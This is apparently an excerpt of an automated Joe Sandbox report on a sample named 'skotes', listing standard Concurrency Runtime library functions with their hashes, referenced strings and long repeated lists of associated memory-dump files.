Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: 1e0c843380a3ddb628a4d0d03b79cbab7758ca03b5931331ce4c29b44ac9fcee
Instruction ID: ccb70443aed11c3d555807e5c08ce3b69a258820b91977f531dea1c5c5bd5002
Opcode Fuzzy Hash: 1e0c843380a3ddb628a4d0d03b79cbab7758ca03b5931331ce4c29b44ac9fcee
Instruction Fuzzy Hash: CB213831B006159BCB14AB69D895ABCF3E5BF94338B0D422AED11876D1CB64EE42CAD0

Function 00BFAE65 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

List.LIBCONCRT ref: 00BFAEEA
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00BFAF0F
Concurrency::details::FreeVirtualProcessorRoot::FreeVirtualProcessorRoot.LIBCONCRT ref: 00BFAF4E

Strings

pExecutionResource, xrefs: 00BFAF07

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: FreeProcessorVirtual$Concurrency::details::ListRootRoot::std::invalid_argument::invalid_argument
String ID: pExecutionResource
API String ID: 1772865662-359481074
Opcode ID: ed80649d95595c9663f02a5f876191e8b4d342718ec16c477907004e4e55819c
Instruction ID: 7decdb1ee60637cfe48be204a695d68e8642349aba179d911fb27409fe115e6d
Opcode Fuzzy Hash: ed80649d95595c9663f02a5f876191e8b4d342718ec16c477907004e4e55819c
Instruction Fuzzy Hash: DD21B4B5A403059BCB08EF64C882BBDB7E5BF48300F104069E605AB292DBB0AE05DB95

Function 00BF4EA2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00BF4F24
Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 00BF4F66

Strings

count, xrefs: 00BF4EBA
ppVirtualProcessorRoots, xrefs: 00BF4F1C

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: CacheGroupLocalSchedule$Concurrency::details::SegmentSegment::std::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 2663199487-3650809737
Opcode ID: 9e03d2bc54281fceaf9992b4dbbdff523dda76aa626a0ead86ec8e23c4b52c44
Instruction ID: f77d3dab19445bac3834812130375be1b5e6a6a3ef3b64b0211891d0634528ba
Opcode Fuzzy Hash: 9e03d2bc54281fceaf9992b4dbbdff523dda76aa626a0ead86ec8e23c4b52c44
Instruction Fuzzy Hash: 7C21A135600219EFCB14EF59C891EBE77F5FF48310F1040A9E60697692DB71AE05CB51

Function 00BFB975 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00BFBA0E

Strings

RoUninitialize, xrefs: 00BFB9C1
RoInitialize, xrefs: 00BFB998
combase.dll, xrefs: 00BFB983, 00BFB988, 00BFB99D, 00BFB9C8

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: RoInitialize$RoUninitialize$combase.dll
API String ID: 348560076-3997890769
Opcode ID: 4a00cf0081e5ccde6ba39bde0968967e96e97b474b7a3eadc16b5a7aef4b159d
Instruction ID: 09a68aa81f70c1949d497360bb11e91c89195d73b9ec5f8de4424e3f5c38d1b7
Opcode Fuzzy Hash: 4a00cf0081e5ccde6ba39bde0968967e96e97b474b7a3eadc16b5a7aef4b159d
Instruction Fuzzy Hash: 8A0122B16903295EDB04B7B59C0DFBF35DC9F01348F2064A9AA40E3191EF74C80883A0

Function 00BF6E1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

SafeRWList.LIBCONCRT ref: 00BF6E73

Part of subcall function 00BF4E6E: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00BF4E7F
Part of subcall function 00BF4E6E: List.LIBCMT ref: 00BF4E89

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00BF6E85
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00BF6EAA

Strings

eventObject, xrefs: 00BF6E7D

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: List$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLock::_ReaderSafeWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 1288476792-1680012138
Opcode ID: de1360470e94da036b28c240b339ec85b6a03ba386cbe62ca581990467f0a96a
Instruction ID: 25ee0fcfc78e15408c5c270b0629e1cfec6b63f849c1f3914c1fe1f5e644ea29
Opcode Fuzzy Hash: de1360470e94da036b28c240b339ec85b6a03ba386cbe62ca581990467f0a96a
Instruction Fuzzy Hash: 0811E936540218E6DB28E7A5DD4AFFE73E85F04700F2042A6FA05B70D1DB709A08C665

Function 00BFA0EE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 00BFA102
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 00BFA126
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00BFA139

Strings

pScheduler, xrefs: 00BFA131

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
